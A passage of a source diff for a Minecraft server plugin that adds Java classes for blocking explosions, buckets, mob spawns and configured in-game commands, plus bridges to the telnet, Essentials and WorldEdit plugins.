|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onEntityExplode(EntityExplodeEvent event)
|
||||
{
|
||||
if (!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
|
||||
event.setYield(0.0F);
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onExplosionPrime(ExplosionPrimeEvent event)
|
||||
{
|
||||
if (!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
|
||||
event.setRadius(ConfigEntry.EXPLOSIVE_RADIUS.getDouble().floatValue());
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onEntityCombust(EntityCombustEvent event)
|
||||
{
|
||||
if (!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onEntityDeath(EntityDeathEvent event)
|
||||
{
|
||||
if (ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
|
||||
{
|
||||
event.setDroppedExp(0);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onProjectileHit(ProjectileHitEvent event)
|
||||
{
|
||||
if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||
{
|
||||
Projectile entity = event.getEntity();
|
||||
if (event.getEntityType() == EntityType.ARROW)
|
||||
{
|
||||
entity.getWorld().createExplosion(entity.getLocation(), 2F);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onEntityDamage(EntityDamageEvent event)
|
||||
{
|
||||
switch (event.getCause())
|
||||
{
|
||||
case LAVA:
|
||||
{
|
||||
if (!ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ConfigEntry.ENABLE_PET_PROTECT.getBoolean())
|
||||
{
|
||||
Entity entity = event.getEntity();
|
||||
if (entity instanceof Tameable)
|
||||
{
|
||||
if (((Tameable) entity).isTamed())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onPlayerDropItem(PlayerDropItemEvent event)
|
||||
{
|
||||
if (!ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (event.getPlayer().getWorld().getEntities().size() > 750)
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onLeavesDecay(LeavesDecayEvent event)
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,103 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerInteractEvent;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
public class InteractBlocker extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public InteractBlocker(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onPlayerInteract(PlayerInteractEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
final FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
|
||||
switch (event.getAction())
|
||||
{
|
||||
case RIGHT_CLICK_AIR:
|
||||
case RIGHT_CLICK_BLOCK:
|
||||
{
|
||||
handleRightClick(event);
|
||||
break;
|
||||
}
|
||||
|
||||
case LEFT_CLICK_AIR:
|
||||
case LEFT_CLICK_BLOCK:
|
||||
{
|
||||
//
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void handleRightClick(PlayerInteractEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
|
||||
switch (event.getMaterial())
|
||||
{
|
||||
case WATER_BUCKET:
|
||||
{
|
||||
if (plugin.al.isAdmin(player) || ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||
player.sendMessage(ChatColor.GRAY + "Water buckets are currently disabled.");
|
||||
event.setCancelled(true);
|
||||
break;
|
||||
}
|
||||
|
||||
case LAVA_BUCKET:
|
||||
{
|
||||
if (plugin.al.isAdmin(player) || ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||
player.sendMessage(ChatColor.GRAY + "Lava buckets are currently disabled.");
|
||||
event.setCancelled(true);
|
||||
break;
|
||||
}
|
||||
|
||||
case EXPLOSIVE_MINECART:
|
||||
{
|
||||
if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||
player.sendMessage(ChatColor.GRAY + "TNT minecarts are currently disabled.");
|
||||
event.setCancelled(true);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,104 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.entity.Bat;
|
||||
import org.bukkit.entity.EnderDragon;
|
||||
import org.bukkit.entity.Entity;
|
||||
import org.bukkit.entity.Ghast;
|
||||
import org.bukkit.entity.Giant;
|
||||
import org.bukkit.entity.HumanEntity;
|
||||
import org.bukkit.entity.Slime;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.entity.CreatureSpawnEvent;
|
||||
|
||||
public class MobBlocker extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public MobBlocker(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onCreatureSpawn(CreatureSpawnEvent event)
|
||||
{
|
||||
if (!ConfigEntry.MOB_LIMITER_ENABLED.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final Entity spawned = event.getEntity();
|
||||
if (spawned instanceof EnderDragon)
|
||||
{
|
||||
if (ConfigEntry.MOB_LIMITER_DISABLE_DRAGON.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (spawned instanceof Ghast)
|
||||
{
|
||||
if (ConfigEntry.MOB_LIMITER_DISABLE_GHAST.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (spawned instanceof Slime)
|
||||
{
|
||||
if (ConfigEntry.MOB_LIMITER_DISABLE_SLIME.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (spawned instanceof Giant)
|
||||
{
|
||||
if (ConfigEntry.MOB_LIMITER_DISABLE_GIANT.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (spawned instanceof Bat)
|
||||
{
|
||||
event.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
|
||||
int mobLimiterMax = ConfigEntry.MOB_LIMITER_MAX.getInteger();
|
||||
|
||||
if (mobLimiterMax <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
int mobcount = 0;
|
||||
for (Entity entity : event.getLocation().getWorld().getLivingEntities())
|
||||
{
|
||||
if (!(entity instanceof HumanEntity))
|
||||
{
|
||||
mobcount++;
|
||||
}
|
||||
}
|
||||
|
||||
if (mobcount > mobLimiterMax)
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,206 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import net.pravian.aero.command.CommandReflection;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandMap;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||
|
||||
public class CommandBlocker extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
public static Pattern NUMBER_FLAG_PATTERN = Pattern.compile("(:([0-9]){5,})");
|
||||
//
|
||||
private final Map<String, CommandBlockerEntry> entryList = Maps.newHashMap();
|
||||
|
||||
public CommandBlocker(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
load();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
entryList.clear();
|
||||
}
|
||||
|
||||
public void load()
|
||||
{
|
||||
entryList.clear();
|
||||
|
||||
final CommandMap commandMap = CommandReflection.getCommandMap();
|
||||
if (commandMap == null)
|
||||
{
|
||||
FLog.severe("Error loading commandMap.");
|
||||
return;
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
List<String> blockedCommands = (List<String>) ConfigEntry.BLOCKED_COMMANDS.getList();
|
||||
for (String rawEntry : blockedCommands)
|
||||
{
|
||||
final String[] parts = rawEntry.split(":");
|
||||
if (parts.length < 3 || parts.length > 4)
|
||||
{
|
||||
FLog.warning("Invalid command blocker entry: " + rawEntry);
|
||||
continue;
|
||||
}
|
||||
|
||||
final CommandBlockerRank rank = CommandBlockerRank.fromToken(parts[0]);
|
||||
final CommandBlockerAction action = CommandBlockerAction.fromToken(parts[1]);
|
||||
String commandName = parts[2].toLowerCase().substring(1);
|
||||
final String message = (parts.length > 3 ? parts[3] : null);
|
||||
|
||||
if (rank == null || action == null || commandName == null || commandName.isEmpty())
|
||||
{
|
||||
FLog.warning("Invalid command blocker entry: " + rawEntry);
|
||||
continue;
|
||||
}
|
||||
|
||||
final String[] commandParts = commandName.split(" ");
|
||||
String subCommand = null;
|
||||
if (commandParts.length > 1)
|
||||
{
|
||||
commandName = commandParts[0];
|
||||
subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).trim().toLowerCase();
|
||||
}
|
||||
|
||||
final Command command = commandMap.getCommand(commandName);
|
||||
|
||||
// Obtain command from alias
|
||||
if (command == null)
|
||||
{
|
||||
FLog.info("Blocking unknown command: /" + commandName);
|
||||
}
|
||||
else
|
||||
{
|
||||
commandName = command.getName().toLowerCase();
|
||||
}
|
||||
|
||||
if (entryList.containsKey(commandName))
|
||||
{
|
||||
FLog.warning("Not blocking: /" + commandName + " - Duplicate entry exists!");
|
||||
continue;
|
||||
}
|
||||
|
||||
final CommandBlockerEntry blockedCommandEntry = new CommandBlockerEntry(rank, action, commandName, subCommand, message);
|
||||
entryList.put(blockedCommandEntry.getCommand(), blockedCommandEntry);
|
||||
|
||||
if (command != null)
|
||||
{
|
||||
for (String alias : command.getAliases())
|
||||
{
|
||||
entryList.put(alias.toLowerCase(), blockedCommandEntry);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
FLog.info("Loaded " + blockedCommands.size() + " blocked commands");
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGHEST)
|
||||
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||
{
|
||||
// Blocked commands
|
||||
if (isCommandBlocked(event.getMessage(), event.getPlayer(), true))
|
||||
{
|
||||
// CommandBlocker handles messages and broadcasts
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isCommandBlocked(String command, CommandSender sender)
|
||||
{
|
||||
return isCommandBlocked(command, sender, false);
|
||||
}
|
||||
|
||||
public boolean isCommandBlocked(String command, CommandSender sender, boolean doAction)
|
||||
{
|
||||
if (command == null || command.isEmpty())
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Format
|
||||
command = command.toLowerCase().trim();
|
||||
command = command.startsWith("/") ? command.substring(1) : command;
|
||||
|
||||
// Check for plugin specific commands
|
||||
final String[] commandParts = command.split(" ");
|
||||
if (commandParts[0].contains(":"))
|
||||
{
|
||||
if (doAction)
|
||||
{
|
||||
FUtil.playerMsg(sender, "Plugin specific commands are disabled.");
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
for (String part : commandParts)
|
||||
{
|
||||
Matcher matcher = NUMBER_FLAG_PATTERN.matcher(part);
|
||||
if (!matcher.matches())
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (doAction)
|
||||
{
|
||||
FUtil.playerMsg(sender, "That command contains an illegal number: " + matcher.group(1));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// Obtain sub command, if it exists
|
||||
String subCommand = null;
|
||||
if (commandParts.length > 1)
|
||||
{
|
||||
subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).toLowerCase();
|
||||
}
|
||||
|
||||
// Obtain entry
|
||||
final CommandBlockerEntry entry = entryList.get(commandParts[0]);
|
||||
if (entry == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Validate sub command
|
||||
if (entry.getSubCommand() != null)
|
||||
{
|
||||
if (subCommand == null || !subCommand.startsWith(entry.getSubCommand()))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (entry.getRank().hasPermission(sender))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (doAction)
|
||||
{
|
||||
entry.doActions(sender);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,31 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||
|
||||
public enum CommandBlockerAction
|
||||
{
|
||||
BLOCK("b"),
|
||||
BLOCK_AND_EJECT("a"),
|
||||
BLOCK_UNKNOWN("u");
|
||||
private final String token;
|
||||
|
||||
private CommandBlockerAction(String token)
|
||||
{
|
||||
this.token = token;
|
||||
}
|
||||
|
||||
public String getToken()
|
||||
{
|
||||
return this.token;
|
||||
}
|
||||
|
||||
public static CommandBlockerAction fromToken(String token)
|
||||
{
|
||||
for (CommandBlockerAction action : CommandBlockerAction.values())
|
||||
{
|
||||
if (action.getToken().equalsIgnoreCase(token))
|
||||
{
|
||||
return action;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
@ -0,0 +1,53 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||
|
||||
import lombok.Getter;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class CommandBlockerEntry
|
||||
{
|
||||
@Getter
|
||||
private final CommandBlockerRank rank;
|
||||
@Getter
|
||||
private final CommandBlockerAction action;
|
||||
@Getter
|
||||
private final String command;
|
||||
@Getter
|
||||
private final String subCommand;
|
||||
@Getter
|
||||
private final String message;
|
||||
|
||||
public CommandBlockerEntry(CommandBlockerRank rank, CommandBlockerAction action, String command, String message)
|
||||
{
|
||||
this(rank, action, command, null, message);
|
||||
}
|
||||
|
||||
public CommandBlockerEntry(CommandBlockerRank rank, CommandBlockerAction action, String command, String subCommand, String message)
|
||||
{
|
||||
this.rank = rank;
|
||||
this.action = action;
|
||||
this.command = command;
|
||||
this.subCommand = (subCommand == null ? null : subCommand.toLowerCase().trim());
|
||||
this.message = (message == null || message.equals("_") ? "That command is blocked." : message);
|
||||
}
|
||||
|
||||
public void doActions(CommandSender sender)
|
||||
{
|
||||
if (action == CommandBlockerAction.BLOCK_AND_EJECT && sender instanceof Player)
|
||||
{
|
||||
FUtil.autoEject((Player) sender, "You used a prohibited command: " + command);
|
||||
FUtil.bcastMsg(sender.getName() + " was automatically kicked for using harmful commands.", ChatColor.RED);
|
||||
return;
|
||||
}
|
||||
|
||||
if (action == CommandBlockerAction.BLOCK_UNKNOWN)
|
||||
{
|
||||
FUtil.playerMsg(sender, "Unknown command. Type \"help\" for help.", ChatColor.RESET);
|
||||
return;
|
||||
}
|
||||
|
||||
FUtil.playerMsg(sender, FUtil.colorize(message));
|
||||
}
|
||||
}
|
@ -0,0 +1,72 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking.command;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public enum CommandBlockerRank
|
||||
{
|
||||
ANYONE("a"),
|
||||
OP("o"),
|
||||
SUPER("s"),
|
||||
TELNET("t"),
|
||||
SENIOR("c"),
|
||||
NOBODY("n");
|
||||
//
|
||||
private final String token;
|
||||
|
||||
private CommandBlockerRank(String token)
|
||||
{
|
||||
this.token = token;
|
||||
}
|
||||
|
||||
public String getToken()
|
||||
{
|
||||
return this.token;
|
||||
}
|
||||
|
||||
public boolean hasPermission(CommandSender sender)
|
||||
{
|
||||
return fromSender(sender).ordinal() >= ordinal();
|
||||
}
|
||||
|
||||
public static CommandBlockerRank fromSender(CommandSender sender)
|
||||
{
|
||||
if (!(sender instanceof Player))
|
||||
{
|
||||
return TELNET;
|
||||
}
|
||||
|
||||
Admin admin = TotalFreedomMod.plugin.al.getAdmin(sender);
|
||||
if (admin != null)
|
||||
{
|
||||
if (admin.getRank() == PlayerRank.SENIOR_ADMIN)
|
||||
{
|
||||
return SENIOR;
|
||||
}
|
||||
return SUPER;
|
||||
}
|
||||
|
||||
if (sender.isOp())
|
||||
{
|
||||
return OP;
|
||||
}
|
||||
|
||||
return ANYONE;
|
||||
|
||||
}
|
||||
|
||||
public static CommandBlockerRank fromToken(String token)
|
||||
{
|
||||
for (CommandBlockerRank rank : CommandBlockerRank.values())
|
||||
{
|
||||
if (rank.getToken().equalsIgnoreCase(token))
|
||||
{
|
||||
return rank;
|
||||
}
|
||||
}
|
||||
return ANYONE;
|
||||
}
|
||||
}
|
@ -0,0 +1,97 @@
|
||||
package me.totalfreedom.totalfreedommod.bridge;
|
||||
|
||||
import java.util.Iterator;
|
||||
import java.util.Map;
|
||||
import me.StevenLawson.BukkitTelnet.api.TelnetCommandEvent;
|
||||
import me.StevenLawson.BukkitTelnet.api.TelnetPreLoginEvent;
|
||||
import me.StevenLawson.BukkitTelnet.api.TelnetRequestDataTagsEvent;
|
||||
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
|
||||
public class BukkitTelnetBridge extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public BukkitTelnetBridge(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onTelnetPreLogin(TelnetPreLoginEvent event)
|
||||
{
|
||||
|
||||
final String ip = event.getIp();
|
||||
if (ip == null || ip.isEmpty())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final Admin admin = plugin.al.getEntryByIp(ip, true);
|
||||
|
||||
if (admin == null || !admin.isActivated() || !admin.getRank().hasConsole())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
event.setBypassPassword(true);
|
||||
event.setName(admin.getName());
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onTelnetCommand(TelnetCommandEvent event)
|
||||
{
|
||||
if (plugin.cb.isCommandBlocked(event.getCommand(), event.getSender()))
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onTelnetRequestDataTags(TelnetRequestDataTagsEvent event)
|
||||
{
|
||||
final Iterator<Map.Entry<Player, Map<String, Object>>> it = event.getDataTags().entrySet().iterator();
|
||||
while (it.hasNext())
|
||||
{
|
||||
final Map.Entry<Player, Map<String, Object>> entry = it.next();
|
||||
final Player player = entry.getKey();
|
||||
final Map<String, Object> playerTags = entry.getValue();
|
||||
|
||||
boolean isAdmin = false;
|
||||
boolean isTelnetAdmin = false;
|
||||
boolean isSeniorAdmin = false;
|
||||
|
||||
final Admin admin = plugin.al.getAdmin(player);
|
||||
if (admin != null)
|
||||
{
|
||||
boolean isActivated = admin.isActivated();
|
||||
|
||||
isAdmin = isActivated;
|
||||
isSeniorAdmin = isActivated && admin.getRank() == PlayerRank.SENIOR_ADMIN;
|
||||
isTelnetAdmin = isActivated && (isSeniorAdmin || admin.getRank() == PlayerRank.TELNET_ADMIN);
|
||||
}
|
||||
|
||||
playerTags.put("tfm.admin.isAdmin", isAdmin);
|
||||
playerTags.put("tfm.admin.isTelnetAdmin", isTelnetAdmin);
|
||||
playerTags.put("tfm.admin.isSeniorAdmin", isSeniorAdmin);
|
||||
|
||||
playerTags.put("tfm.playerdata.getTag", plugin.pl.getPlayer(player).getTag());
|
||||
|
||||
playerTags.put("tfm.essentialsBridge.getNickname", plugin.esb.getNickname(player.getName()));
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,139 @@
|
||||
package me.totalfreedom.totalfreedommod.bridge;
|
||||
|
||||
import com.earth2me.essentials.Essentials;
|
||||
import com.earth2me.essentials.User;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.plugin.Plugin;
|
||||
|
||||
public class EssentialsBridge extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
private Essentials essentialsPlugin = null;
|
||||
|
||||
public EssentialsBridge(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
public Essentials getEssentialsPlugin()
|
||||
{
|
||||
if (essentialsPlugin == null)
|
||||
{
|
||||
try
|
||||
{
|
||||
final Plugin essentials = Bukkit.getServer().getPluginManager().getPlugin("Essentials");
|
||||
if (essentials != null)
|
||||
{
|
||||
if (essentials instanceof Essentials)
|
||||
{
|
||||
essentialsPlugin = (Essentials) essentials;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
return essentialsPlugin;
|
||||
}
|
||||
|
||||
public User getEssentialsUser(String username)
|
||||
{
|
||||
try
|
||||
{
|
||||
final Essentials essentials = getEssentialsPlugin();
|
||||
if (essentials != null)
|
||||
{
|
||||
return essentials.getUserMap().getUser(username);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setNickname(String username, String nickname)
|
||||
{
|
||||
try
|
||||
{
|
||||
final User user = getEssentialsUser(username);
|
||||
if (user != null)
|
||||
{
|
||||
user.setNickname(nickname);
|
||||
user.setDisplayNick();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
|
||||
public String getNickname(String username)
|
||||
{
|
||||
try
|
||||
{
|
||||
final User user = getEssentialsUser(username);
|
||||
if (user != null)
|
||||
{
|
||||
return user.getNickname();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public long getLastActivity(String username)
|
||||
{
|
||||
try
|
||||
{
|
||||
final User user = getEssentialsUser(username);
|
||||
if (user != null)
|
||||
{
|
||||
return FUtil.<Long>getField(user, "lastActivity"); // This is weird
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
return 0L;
|
||||
}
|
||||
|
||||
public boolean isEssentialsEnabled()
|
||||
{
|
||||
try
|
||||
{
|
||||
final Essentials essentials = getEssentialsPlugin();
|
||||
if (essentials != null)
|
||||
{
|
||||
return essentials.isEnabled();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
@ -0,0 +1,127 @@
|
||||
package me.totalfreedom.totalfreedommod.bridge;
|
||||
|
||||
import com.sk89q.worldedit.LocalSession;
|
||||
import com.sk89q.worldedit.bukkit.BukkitPlayer;
|
||||
import com.sk89q.worldedit.bukkit.WorldEditPlugin;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.plugin.Plugin;
|
||||
|
||||
public class WorldEditBridge extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
private static WorldEditPlugin worldEditPlugin = null;
|
||||
|
||||
public WorldEditBridge(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
private WorldEditPlugin getWorldEditPlugin()
|
||||
{
|
||||
if (worldEditPlugin == null)
|
||||
{
|
||||
try
|
||||
{
|
||||
Plugin we = Bukkit.getServer().getPluginManager().getPlugin("WorldEdit");
|
||||
if (we != null)
|
||||
{
|
||||
if (we instanceof WorldEditPlugin)
|
||||
{
|
||||
worldEditPlugin = (WorldEditPlugin) we;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
return worldEditPlugin;
|
||||
}
|
||||
|
||||
private LocalSession getPlayerSession(Player player)
|
||||
{
|
||||
try
|
||||
{
|
||||
final WorldEditPlugin wep = getWorldEditPlugin();
|
||||
if (wep != null)
|
||||
{
|
||||
return wep.getSession(player);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private BukkitPlayer getBukkitPlayer(Player player)
|
||||
{
|
||||
try
|
||||
{
|
||||
final WorldEditPlugin wep = getWorldEditPlugin();
|
||||
if (wep != null)
|
||||
{
|
||||
return wep.wrapPlayer(player);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public void undo(Player player, int count)
|
||||
{
|
||||
try
|
||||
{
|
||||
LocalSession session = getPlayerSession(player);
|
||||
if (session != null)
|
||||
{
|
||||
final BukkitPlayer bukkitPlayer = getBukkitPlayer(player);
|
||||
if (bukkitPlayer != null)
|
||||
{
|
||||
